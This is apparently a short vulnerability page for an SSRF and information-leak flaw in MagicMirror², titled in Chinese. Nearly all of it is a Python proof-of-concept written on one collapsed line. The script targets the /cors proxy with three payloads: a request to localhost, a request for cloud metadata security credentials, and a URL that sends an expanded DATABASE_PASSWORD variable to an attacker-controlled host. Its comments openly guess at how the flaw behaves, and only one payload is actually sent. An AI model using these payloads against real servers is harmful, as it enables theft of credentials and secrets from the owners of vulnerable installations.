CVE-2026-42281 MagicMirror²未认证SSRF及信息泄露漏洞

import requests def check_ssrf(target_url): # Target endpoint endpoint = f"{target_url}/cors" # Payload 1: SSRF to localhost (checking internal service) # Attempting to access a common internal port or metadata service ssrf_payload = { "url": "http://127.0.0.1:8080/config.js" } # Payload 2: Environment Variable Exfiltration # Assuming the endpoint expands environment variables in the response or request headers # Using a placeholder format mentioned in the description env_payload = { "url": "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" } # Variable exfiltration attempt (e.g., if the proxy reflects the URL or expands vars in logs/response) # Based on description: "expands environment variable placeholders (**VAR_NAME**)" # This might be reflected in an error message or response body depending on implementation leak_payload = { "url": "http://attacker-controlled.com/**DATABASE_PASSWORD**" } try: print(f"[+] Testing SSRF on {endpoint}") r = requests.get(endpoint, params=ssrf_payload, timeout=5) if r.status_code == 200: print(f"[!] SSRF Successful! Response length: {len(r.text)}") print(f"[+] Response snippet: {r.text[:200]}") else: print(f"[-] SSRF attempt failed with status code: {r.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_ssrf(target)